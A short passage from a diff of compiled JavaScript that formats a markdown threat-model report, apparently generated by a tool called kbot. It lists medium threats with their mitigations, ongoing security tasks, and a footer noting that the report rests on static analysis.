+ for (const t of mediumThreats.slice(0, 10)) {
3448
+ lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
3449
+ }
3450
+ lines.push('');
3451
+ }
3452
+ lines.push('### Ongoing');
3453
+ lines.push('');
3454
+ lines.push('- [ ] Implement automated security testing in CI/CD');
3455
+ lines.push('- [ ] Schedule regular threat model reviews (quarterly)');
3456
+ lines.push('- [ ] Conduct dynamic penetration testing annually');
3457
+ lines.push('- [ ] Monitor dependency vulnerabilities continuously');
3458
+ lines.push('- [ ] Review access controls after team changes');
3459
+ lines.push('');
3460
+ lines.push('---');
3461
+ lines.push('');
3462
+ lines.push(`_Threat model generated by kbot using ${methodology.toUpperCase()} methodology._`);
3463
+ lines.push('_This is based on static code analysis. Manual review and dynamic testing are recommended for complete coverage._');
3464
+ return lines.join('\n');
3465
+ },
3466
+ });
3467
+ }
3468
+ //# sourceMappingURL=redblue.js.map